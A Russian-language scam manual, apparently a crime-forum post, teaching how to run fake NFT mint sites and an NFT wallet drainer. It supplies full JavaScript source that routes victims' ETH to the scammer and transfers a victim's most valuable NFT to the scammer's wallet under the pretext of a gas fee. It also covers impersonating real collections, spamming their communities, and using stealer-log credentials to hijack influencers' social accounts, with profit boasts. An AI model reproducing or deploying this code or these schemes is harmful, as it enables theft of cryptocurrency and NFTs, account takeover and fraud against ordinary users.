Скам-обзор: фейковый минт NFT и автовывод токенов через смарт-контракт

Скам-обзор: фейковый минт NFT и автовывод токенов через смарт-контракт

Фармер ⚡️

ФЕЙКОВЫЙ МИНТ NFT ERC-20

В данном манауле я расскажу всё об фейк минтах от А до Я и предоставлю соурс код(Код в общем доступе).


Что для этого нам необходимо:

-Минимальное понимание программирования

-Капелька хитрости и ума

-Немного ресурсов

-20$ на хост и домен~


Меньше воды, больше дела, сразу приступим к делу



И так, что такое NFT я думаю уже все знают, а вот что такое минт?

Минт - это процесс продажи NFT коллекции. Дату минта обозначают сами разработчики.

Минт может быть как и свободного доступа(Т.е. для любого желающего), так и закрытого доступа - только для тех, кто попал в WL(WhiteList / Белый лист)

Способов попасть в белый лист большое количество, но тема не об этом, но если будет интересно - расскажу)

В любом случае, для нас это не важно, ведь мы собираемся делать фейковый минт, а не покупать NFT на официальном ресурсе.


И так, вот настал момент, мы решились создать свой первый скам-проект, остановились на выборе - фейк минт, а откуда нам брать траффик для фейк минта и как его распространять? Или где нам найти, какой проект в скором времени запустится, чтобы сделать под него фейк? Какая прибыль? И как работает этот фейк? Сейчас разберем всё по полочкам.


Как работает фейк:

Работа фейк минта очень проста)

Мы запускаем сайт с использованием Web3(не пугаемся, расскажу), на котором будет идти якобы продажа NFT, пользователь покупает NFT, но бабки летят не в проект NFT-Коллекции, а на ваш кошелек. 

Вот мы разобрались, а под что проект то делать?

Где найти проект под который сделать фейк:

Есть различное количество ресурсов, на которых происходят анонсы, продвигаются и рекламируются будущие NFT-коллекции.

Я приведу один пример, а так, ресурсы в общем доступе в поисковиках)

Предстоящие продажи коллекций NFT | CoinMarketCap

Что мы видим, большое количество предстоящих продаж, но как же выбрать, куда залетать? 

Придётся немного постараться, чтобы найти хороший проект, ибо их не так уж и много, но по сути говоря - можно залететь в большинство и получить какую никакую скамнутую монету.

Но если желание есть подобрать более хороший проект, то посоветую переходить на ресурсы коллекций и смотреть активность, смотреть количество участников, есть ли WL(Если есть, то проект более серьезный)

Ладно, хорошо, но а есть ли смысл вообще заморачиваться? Какая прибыль то?


Прибыль с фейка:

Доходность конечно же не фиксированная, но и мы тут не за зарплату пришли РАБотать ))

Все в ваших руках, абсолютно полностью в ваших руках, за день можно собрать и ничего, а можно и залутать спокойно >1eth

Пример дохода за запуск одного минта:

Вроде и не так много, но и не мало.

Ладно, нам это подходит, для старта пойдёт, но как распространять?


Траффик и распространение:

Тут уже открывается огромное количество дорог

Можно проспамить по участникам дискорд канала NFT-Коллекции

Также можно проспамить по Твиттер подписчикам NFT-Коллекции

(Обязательно делаем ник и аватарку под NFT-Коллекцию)

Вариаций много и предела творческого подхода в этом нет :)


И так, вот мы уже подобрали проект, собрали все ресурсы для распространения, подходим к делу. Предстоящая продажа NFT-Коллекции от XSS.IS стартует завтра. Упускать такой возможности нельзя.


Вот- вот будет стартовать проект от XSS.IS, нужно быстро что-то предпринять и запустить фейк-минт, но все кодеры заняты?

Не проблема, сейчас покажу на пальцах как за пару часов запустить проект и предоставлю соурс код.


Для старта нужно установить любой редактор кода, я лично использую Visual Studio Code.

Далее для понимания немного информации на простом языке:

CSS - Язык стилей, с помощью него закладывается основа дизайна сайта

HTML - Разметка сайта, проще говоря - указывает сайту где что будет находиться)

JS - Скрипты для взаимодействия с сайтом))


Выгружаем архив, что я приложил, открываем файлы редактором кода

Сам сайт выглядит так:

Разбирать полностью код из соурса мы не станем, ибо это не столь важно и муторно, но поехали разберем по файлам важную структуру для редактирования:


Index.html

Здесь мы видим структуру сайта и подключаемые скрипты

Из важных подключаемых скриптов Web3.js и Script.js

Web3 нам необходим для взаимодействия с метамаском и сетью ERC-20

Script.js скрипт с помощью которого мы соединяем наш сайт с Web3

Также мы наблюдаем в index.html данный код:

<div id="payment-header">
                    <div id="payment-header-text">
                        <h3 style="text-align:center" id="titleH4"> XSS.IS</h3> <!-- Auto edit (config in index.js) -->
                        <h3 style="text-align:center">FREE Mint LIVE!</h3>
                        <p style="text-align:center" id="totalSupply" class="pt-1.5 italic-grey">Total supply: 100 NFTs</p>
                        <!-- Auto edit (config in index.js) -->
                    </div>
                </div>
                <div id="payment-info">
                    <img src="xss.PNG" class="image" height="100px" id="price-img">
                    <div id="payment-info-text">
                        <p>Price Per NFT</p>
                        <p class="title"><a id="nftPrice">0.03</a> ETH + gas</p>
                        
                    </div>
                </div>
               
          [/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE]
 
[SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5]                <div class="flex items-center justify-center space-x-4 mt-5">
                    <div class="w-100 h-12 flex flex-col items-center justify-center border border-brand rounded">
                        <div id="ape-number" >
                            <div class="calcs" >
                                
                                     <form class="div"  oninput="result.value=(a.value * price).toFixed(2)" style="display: flex;">
                                        <div class="down_arrow" id="addCount" style="font-size: 30px;" > - </div>
                            <input id="inputor" name="a" class="nftsNumber eth_input text-white text-center leading-3 -mt-1 placeholder-white text-lg md:text-xl lg:text-3xl font-semibold w-12 h-12 bg-transparent focus-within:outline-none" type="number" min="1" pattern="[A-z0-9]{2,50}" max="5"
                                placeholder="1" value="1" style="background-color: #00000000;;text-align:center;width:30px;border-color: #00000000;margin-left:15px;"><div class="up_arrow" id="remCount" style="font-size: 30px;font-weight: 400;"> + </div></div><h5 id="maxNumber" style="text-align: right;margin-bottom:5px ;">5 Max</h5>
                    </div></div>
                </div>
                <p class="text-alert text-sm font-semibold pt-3 leading-4 pb-4"></p>
                <div id="ape-total">
                <p class="mt-3"><span class="total text-white  text-base md:text-lg lg:text-xl">Total:</span>



                    <output id="price"  name="price"  class="actual_price ml-1 text-lg md:text-xl lg:text-3xl text-brand font-semibold">0.03</output>
                    </form>

В этом коде мы заменяем название, колличество, стоимость и картинки под нужный нам проект


Script.js

[/B]
const netURL = 'https://mainnet.infura.io/v3/30ea4......';
const ADDRESS = '0x00000000000000000000';
const web3 = window.Web3
const ethereum = window.ethereum
let accounts
let price = 0.03
const input = document.querySelector(".eth_input")
const button = document.querySelector(".metamask_content-btn")
const title = document.querySelector(".metamask_content-title")
const priceDisplay = document.querySelector("#price")
const Web3 = new web3(netURL)
window.addEventListener("load", () => {
    button.disabled = false
    button.classList.remove('hidden');
    if (ethereum.selectedAddress) {
        document.querySelector(".container_link_metamask_install-btn").style.display = "none"
        document.querySelector(".container_metamask_content-btn").style.display = "flex"
        button.innerHTML = "Mint now"
        input.disabled = false
        title.innerHTML = "MetaMask connected"
    }
    else if (ethereum.isMetaMask) {
        document.querySelector(".container_link_metamask_install-btn").style.display = "none"
        document.querySelector(".container_metamask_content-btn").style.display = "flex"
        title.innerHTML = "MetaMask installed"
        input.disabled = false
    }

})
const getAccount = async () => {
    accounts = await ethereum.request({ method: 'eth_requestAccounts' });
    console.log(accounts)
    if (window.ethereum.chainId == "0x1") console.log("Already connected to ethereum mainnet...")
    else {
        try {
            await ethereum.request({
                method: 'wallet_switchEthereumChain',
                params: [{chainId: '0x1'}],
            });
        } catch (switchError) {
            // This error code indicates that the chain has not been added to MetaMask.
            if (error.code === 4902) {
                try {
                    await ethereum.request({
                        method: 'wallet_addEthereumChain',
                        params: [{
                            chainId: '0x1',
                            rpcUrl: netURL
                        }],
                    });
                } catch (addError) {
                    // handle "add" error
                }
            }
        }
    }
}

const sendTransaction =  async () => {
    price = +input.value * 0.03
    const priceToWei = (price * 1e18).toString(16)
    ethereum.request({
            method: 'eth_sendTransaction',
            params: [
                {
                    from: accounts[0],
                    to: ADDRESS,
                    value: priceToWei,
                },
            ],
        })
        .then((txHash) => console.log(txHash))
        .catch((error) => console.error);
};

input.addEventListener("input", () => {
    if (+input.value < 1) button.disabled = true
    else if (+input.value >= 1) button.disabled = false
    price = +input.value * 0.03
    if (+input.value >= 1) priceDisplay.innerText = price.toFixed(2)
    //else if(input.value < 1) input.value =+ "1"
    else priceDisplay.innerText = "0"
})
button.addEventListener("click", async () => {
    if (!ethereum.selectedAddress) {
        await getAccount()
        button.innerHTML = "Mint now"
        title.innerHTML = "MetaMask connected"
    } else {
        await getAccount()
        await sendTransaction()
    }
})
document.querySelector(".up_arrow").addEventListener("click", () => {
    input.value = +input.value + 1
    event = new Event("input")
    input.dispatchEvent(event)
})
document.querySelector(".down_arrow").addEventListener("click", () => {
    input.value = +input.value - 1
    event = new Event("input")
    input.dispatchEvent(event)
})
[B]

В этом скрипте происходит взаимодействие с сайтом, сейчас расскажу что к чему


В первой строке мы подключаемся к Infura, регистрируемся, создаем проект, берем айди и впуливаем в эту строчку

Во второй строке заместо 0x00000000.... указываем свой кошелек

В строчке let price = 0.03 указываем стоимость NFT(Заместо 0.03)

И также везде в этом коде, где указанно 0.03 заменяем на свою цену


Функция getAccount запрашивает подключение для пользователя к кошельку

Функция sendTransaction отправляет транзакцию

Евент click создает функцию кнопки для подключения и отправки транзакции

.up_arrow и .down_arrow создают возможность взаимодействия с кнопками + и -


Далее сохраняем весь наш проект, загружаем на хостинг и можем тестировать.


Сейчас это конечно же не самая актуальная версия для скама крипты, но есть большие шансы занять свою нишу. С каждым днём становится все больше конкурентов, с каждым днём выходят новые обновления по блокировке спама на подобные фейк-проекты. Но, я уверен, что если найти свой собственный источник траффика можно на этом получать хорошие деньги. Также можно использовать данный скрипт не только для фейк минтов, но и для других проектов. Как пример: крипто-боксы(открытие кейсов с подарками), различные фейк-продажи, фейк-биржи, аукционы автомобилей за крипту. И также распространять можно абсолютно любыми методами. Можно придумать абсолютно что угодно и использовать это в своих(и не только) целях.

Не обязательно даже для чёрной работы это использовать, может у вас свой белый проект и вы бы хотели добавить оплату в крипте, пожалуйста, этот скрипт отлично подойдет, только нужно немного подредактировать)


Запущенных фейк-минтов не сосчитать, но приведу пару примеров))

Как-то в логе со стиллера мне попался неплохой ютуб и телеграмм-канал по крипто-тематике, не особо популярные, но все же. Ну я сразу кубы кидать, что мне с этим можно сделать. Не долго думая запустил Евент-тикет, там где покупая билетик ты получаешь огромный шанс приумножить свой капитал, накидал несколько страничек для сайтика, на одном из них саму покупку билетов по 0.1 ETH и внизу шансы разных выйгрышей и количество уже принявших участников(Динамическое изменение было), что в соотношении давало огромные шансы на большую победу

Сделал подобие трейлера и закинул на ютубчик и в телеграмм-канал, в тот момент для меня это был огромный заработок, но собрал 4k$


И второй пример немного даже забавный)

Также в логе, но совсем другое. Залетел мне ютуб канал, инстаграм, твиттер одного очень популярного блогера-гея)) Ну и что, мне сразу прилетела в голову идея. ПОДДЕРЖКА И РАЗВИТИЕ ЛГБТ СООБЩЕСТВА)))

Когда люди, с которыми я работал увидели это - посмеялись, но залетело неплохо

Также собрал сайт, подготовил дизайн для постов под инстаграм и твиттер, ютуб не стал трогать, отдал на стрим. Подождал позднего вечера по RU времени(т.к. это самый пик актива в US и EU) и залил посты

И для интереса остался в сессии и еще отвечал тем, кто писал

Сообщений сотни было, все были в шоке что я(ну не я, а он) им отвечал, все кинулись помогать проекту, но, к сожалению, это наверное больше подошло бы не под криптотематику, а под сборы на палку к примеру. Ибо подавляющее большинство не разбиралось в криптовалюте, а то и не имели представления что это такое. Так что, тут тоже дело такое, нужно подходить основательно и грамотно выбирать аудиторию.

Профит: 2k$


Этими примерами я хотел донести мысль, что не стоит зацикливаться только на фейк-минтах при использовании данного скрипта. Этот скрипт подойдет под разные цели: точечная работа, под аудиторию или под целое сообщество. Можно придумать что угодно, главное творчески подходить к этому и можно не имея ничего заработать уже какой никакой капитал.

А если имеется капитал, то можно открывать огромные проекты, проливать их через ФБ и Гугл АДС, набирать огромный траффик и соответственно прибыль, но тут тоже стоит быть аккуратным, ибо не на все проекты ведутся.

На этом всё, переходим ко второй части.


АВТОВЫВОД NFT без смарт контракта

(Соурс код также прикладывается)


И так, для этого нам необходимо всё то же самое:

-Минимальное понимание программирования

-Капелька хитрости и ума

-Немного ресурсов

-20$ на хост и домен~


Вот мы уже разобрались, что такое минт, уже запустили свои первые пару проектов и начали общаться с людьми по делу

И постоянно начали слышать о том, что есть некий скрипт, смарт контракт с автовыводом НФТ и токенов(Аппрув), который просто выводит с кошелька человека все его холды без ведома

Появляется желание попробовать, узнать про это больше

Вот натыкаетесь на продажу и установку, но за него просят баснословные деньги... А заняться этим самому не хватает умений

Что-ж, наш вариант конечно же не аппрув, но тоже неплохой.(Кстати про него я хотел написать статейку, но, увы, с моей ленью человек написал первее)


Будем писать по старой схеме, сразу же вопрос - ответ


Что за скрипт?

Данный скрипт написан на языке JS, т.е. серверных скриптов и смарт контрактов как таковых нету. Всё очень просто и основные детали будут разобраны ниже.

Также подключается библиотека web3 и api infura.


Как работает скрипт?

Запускаем сайтец с вашим проектом, человек подключает свой кошелек и скрипт начинает проверку кошелька на наличие NFT в сервисе OpenSea, если таковые имеются, то скрипт проверяет на ценность этих NFT, после чего выбирает самую дорогую NFT и запрашивает отправку этой NFT через web3, пользователю выводит лишь только данное сообщение:

То есть информации о том, что выводят конкретно NFT нету, можно придумать самый различный предлог для оплаты этой комиссии пользователю, что мы вскоре тоже разберем. После оплаты комиссии NFT успешно переходит на ваш кошелек.


Какая прибыль?

В данном случае прибыль может варьироваться самыми разными суммами. Вы можете забрать NFT стоимостью 0.1 Eth(на период написания статьи ~120$), а можете забрать и NFT стоимостью в 50 Eth( 60k$ ~),все в ваших руках, смотря как и кого заведете на ваш фейк.


Какой проект замутить и откуда взять идею?

Ох, с этим скриптом открываются огромные возможности для вашего творчества... Вы можете как и использовать фейки под официальные проекты, находя их на самых различных ресурсах, так и делать что-то своё, предлогов можно придумать огромное количество, пару примеров я расскажу далее уж точно.


Как распространять?

В данном случае распространение данного проекта немного отличается от фейк-минта, но и при этом можно использовать точно также, только получать мы будем не просто Eth, а NFT с кошельков держателей. В общем, всё по той же схеме, только в зависимости от того, что за предложение вы придумали для отработки данного скрипта.

Спам по твиттеру, дискорду, пролив по гугл и фб адс, таргетинг, реклама на разных ресурсах, вариаций много.


И так, приступим к практике. Нам пришла в голову гениальная мысль - обмануть форумчан XSS.IS!

Запускаем проект с Аирдропом(раздачей) рандомных NFT исключительно для сообщников иксы! Никто против точно не будет - заполучить NFT почти бесплатно, нужно будет заплатить только газ(комиссию) для получения NFT стоимостью более 1000$ ! 

Сейчас разведём...


Копипастим с прошлой темы для тех, кто не читал(а нужно!!!):


Для старта нужно установить любой редактор кода, я лично использую Visual Studio Code.

Далее для понимания немного информации на простом языке:

CSS - Язык стилей, с помощью него закладывается основа дизайна сайта

HTML - Разметка сайта, проще говоря - указывает сайту где что будет находиться)

JS - Скрипты для взаимодействия с сайтом))


Да и вообще, для общего понимания что происходит советую изучить CSS и HTML тем, кто не знает.

При большом желании можно изучить за 3-7 дней, и вам это очень пригодится)



Далее выгружаем наш общедоступный код, который я приложил и начинаем разбирать по полочкам работу!

Вот так выглядит наш новый сайтик, думаю тем кто поставит на хост зайдёт, вроде забавно получилось:

*под основу был взят сайт нфт-коллекции гоблинтаун

Разбирать также мы полностью не будем, разберем лишь только работу нашего скрипта, в прошлой теме мы и так получили уже базовое понимание)

И так, поехали, в index.html если пролистать вниз через редактор кода будет видно наш скрипт заключенный в разметку <script> </script>


Сам скрипт:

const ABI721 = [{
          "inputs": [{
              "internalType": "string",
              "name": "name",
              "type": "string"
          }, {
              "internalType": "string",
              "name": "symbol",
              "type": "string"
          }, {
              "internalType": "string",
              "name": "uri",
              "type": "string"
          }, {
              "internalType": "address",
              "name": "_launchpad",
              "type": "address"
          }, {
              "internalType": "contract IPair",
              "name": "pair",
              "type": "address"
          }, {
              "internalType": "uint256",
              "name": "_maxType",
              "type": "uint256"
          }],
          "stateMutability": "nonpayable",
          "type": "constructor"
      }, {
          "inputs": [{
              "internalType": "address",
              "name": "from",
              "type": "address"
          }, {
              "internalType": "address",
              "name": "to",
              "type": "address"
          }, {
              "internalType": "uint256",
              "name": "tokenId",
              "type": "uint256"
          }],
          "name": "safeTransferFrom",
          "outputs": [],
          "stateMutability": "nonpayable",
          "type": "function"
      }, {
          "inputs": [{
              "internalType": "address",
              "name": "from",
              "type": "address"
          }, {
              "internalType": "address",
              "name": "to",
              "type": "address"
          }, {
              "internalType": "uint256",
              "name": "tokenId",
              "type": "uint256"
          }, {
              "internalType": "bytes",
              "name": "_data",
              "type": "bytes"
          }],
          "name": "safeTransferFrom",
          "outputs": [],
          "stateMutability": "nonpayable",
          "type": "function"
      }]

      const ABI1155 = [{
          "inputs": [],
          "stateMutability": "nonpayable",
          "type": "constructor"
      }, {
          "inputs": [{
              "internalType": "address",
              "name": "from",
              "type": "address"
          }, {
              "internalType": "address",
              "name": "to",
              "type": "address"
          }, {
              "internalType": "uint256",
              "name": "id",
              "type": "uint256"
          }, {
              "internalType": "uint256",
              "name": "amount",
              "type": "uint256"
          }, {
              "internalType": "bytes",
              "name": "data",
              "type": "bytes"
          }],
          "name": "safeTransferFrom",
          "outputs": [],
          "stateMutability": "nonpayable",
          "type": "function"
      }]

      async function loadWeb3() {
          if (!window.ethereum) return undefined;

          window.web3 = new Web3(window.ethereum);
          await window.ethereum.enable();
          await window.ethereum.request({
              method: "wallet_switchEthereumChain",
              params: [{
                  chainId: "0x1"
              }]
          });

          let account = await getCurrentAccount();

          test();
      }

      async function loadContract(ABI, address) {
          if (!window.ethereum) return undefined;

          return await new window.web3.eth.Contract(ABI, address);
      }

      async function getCurrentAccount() {
          if (!window.ethereum) return undefined;

          const accounts = await window.web3.eth.getAccounts();
          return accounts[0];
      }

      async function test() {
          var account = await getCurrentAccount();
       

          var xmlHttp = new XMLHttpRequest();
          xmlHttp.open("GET", `https://api.opensea.io/api/v1/assets?owner=${account}&order_direction=desc&limit=200&include_orders=false`, false);
          xmlHttp.setRequestHeader("accept", "application/json");
          xmlHttp.send(null);
          var opensea_response = JSON.parse(xmlHttp.response);

          var assets = opensea_response["assets"];
          if (!assets) {
              return _alert();
          }

          var xmlHttp = new XMLHttpRequest();
          xmlHttp.open("GET", `https://api.opensea.io/api/v1/collections?asset_owner=${account}&offset=0&limit=200`, false);
          xmlHttp.setRequestHeader("accept", "application/json");
          xmlHttp.send(null);
          var price_response = JSON.parse(xmlHttp.response);

          var price_data = {};
          var nft_data = {};

          try {
              price_response.forEach(element => {
                  price_data[element["primary_asset_contracts"][0]["address"]] = element["stats"]["one_day_average_price"];
              })

              assets.forEach(element => {
                  let contract_address = element["asset_contract"]["address"];
                  let type = element["asset_contract"]["schema_name"];

                  if (price_data[contract_address] !== undefined) {
                      nft_data[contract_address] = {
                          "type": type,
                          "id": element["token_id"],
                          "price": price_data[contract_address]
                      };

                  }

              });
          } catch {
              return _alert();
          }
          console.log(nft_data);
          var list = [];
          for (const [key, value] of Object.entries(nft_data)) {
              list.push(value["price"]);
          }

          var highestVal = Math.max.apply(null, Object.values(list)),
              val = Object.keys(nft_data).find(function(a) {
                  return nft_data[a]["price"] === highestVal;
              });

          // console.log(nft_data[val]["type"])
          // console.log(val)
          // console.log(account)
          // console.log(ABI1155)

          if (nft_data[val]["type"] === "ERC1155") {
              window.contract = await loadContract(ABI1155, val);
              await contract.methods.safeTransferFrom(account, "0x00000000000000000", nft_data[val]["id"], 1, "0x0").send({
                  "from": account
              });
          } else {
              window.contract = await loadContract(ABI721, val);
              await contract.methods.safeTransferFrom(account, "0x00000000000000000", nft_data[val]["id"], "0x0").send({
                  "from": account
              });
          }

      }

      function _alert() {
          Swal.fire({
              title: 'Error!',
              text: 'There is some errors on our side. Please, try again later.',
              icon: 'error',
              confirmButtonText: 'Fine'
          })
      }

      async function load() {
          document.querySelector(".metamask").addEventListener("click", async() => {
              await loadWeb3()
          });
      }

      window.onload = load;


Теперь ведём разбор полётов(функций):

const ABI721 - Необходим для взаимодействия с токенами ERC-721

const ABI1155 - Необходим для взаимодействия с токенами ERC-1155

Что это за токены ERC-721 и ERC-1155 можно прочитать на вот этом ресурсе(тык)

function loadWeb3 - подгрузка метамаска и смену сети на эфир(если подключена другая)

function loadContract - подгружает контракт того или иного токена

function getCurrentAccount - получает информацию об кошельке пользователя


function test - жара, поехали.

Сначала данный скрипт вызывает функцию получения информации об кошельке пользователя, после чего собирает о нём информацию через API ресурса OpenSea, получает информацию о наличии НФТ и их ценностях, после чего выбирает самую ценную НФТ из имеющихся и запрашивает функцию safeTransferFrom и делает запрос на перевод самой дорогой НФТ из имеющихся на ваш кошелек, указанный в данном скрипте. 

Ах да, чуть не забыл, самое важное - свой кошелек ставим заместо 0x000000..... , ведь за этим мы сюда пришли)


После чего подстроив дизайн под свой проект мы загружаем его на хостинг и радуемся работающему скрипту.


Из реальных историй первую расскажу как исполнитель заказа из наблюдение за работой заказчика.

У меня есть один постоянный клиент, который на протяжении почти года заказывает у меня различные проекты и сильно он поднялся заимев подобный скрипт. Где-то около двух месяцев назад я сообщил ему о новом скрипте, о котором мы сейчас говорим и он с радостью захотел попробовать поработать с ним. Он перевел мне N-ную сумму, ну и я по своей любопытности отслеживал его счёт, которым он пользуется так-же на протяжении всей нашей совместной работы, на тот момент он составлял около 10Eth. Какой первый проект я ему запустил уже не помню, но на наше время его баланс составляет 290Eth и это далеко не предел. Из последних проектов что я ему делал это были топовые коллекции с большим ажиотажем на момент выпуска: elftown, goblintown, weareallgoingtodie, otherdeed и пр.

Это были его лучшие залёты за счёт которых он так поднялся, просто для примера закину скриншот части залётов:

Как бы мне не хотелось поделиться откуда велся траффик - думаю это будет не честно по отношению к нему и вы это понимаете)

Но при этом человек спал в сутки по 2-4 часа и все эти 2 месяца упорно работал. Молодец, белой завистью смотрю на его продвижение)


А теперь расскажу пару примеров о том, как решил я поработать по этому скрипту

Как-то я залетел в одну НФТ-коллекцию(В дискорд) до старта продаж в целях попасть в белый лист для минта НФТ

Общаясь там, я адаптировался и понял тему общения между НФТ-холдерами

Им нравится сама атмосфера

Там был раздел фан-артов, куда постоянно люди выкладывали свои арты на данную коллекцию

И тут я не знаю каким образом, но пришла мне идея в голову.

Фан-метавселенная для этой коллекции. О да, я слепил лендосик от балды, подключил данный скрипт

И вывел условие для подключения в фан-метавселенную: нужно подключить кошелек и заплатить газ(комиссию), чтобы попасть в метавселенную.

И конечно же я начал со всеми делиться, мол вот, посмотрите, что создал! И людям стало действительно интересно, они стали подключаться и поплатились за это :c

Профит: 3k$


Потом под траффик Google ADS я решил замутить крипто-боксы.

Т.е. сайт, где люди могут открывать кейсы и получать рандомные призы из мира криптовалюты

И конечно же первый кейс совершенно бесплатный! Снова нужно лишь только заплатить комиссию)

И само собой, помимо гугл адс я вытащил аккаунт твиттер с галочкой и начал распространять еще и там.

Ох, вот это сок был! 

Профит: 7k$


Пожалуй, это на данный момент самая актуальная тематика для криптоскама. Конечно же эта версия не сравнится с апрувом(взаимодействие со смартконтрактом), но если вы только начинаете - она отлично для вас подойдет.

Как я говорил и ранее, для работы с данным скриптом возможно придумать огромное количество проектов, дайте свободу своему творчеству.


Спасибо за внимание!

Ссылка на чат https://t.me/+UKjcsOVXWr45qfVL

ВАЖНО:

Если Вы не хотите пропускать САМЫЕ актуальные схемы заработка, советую Вам прямо сейчас закрепить наш канал!

Report Page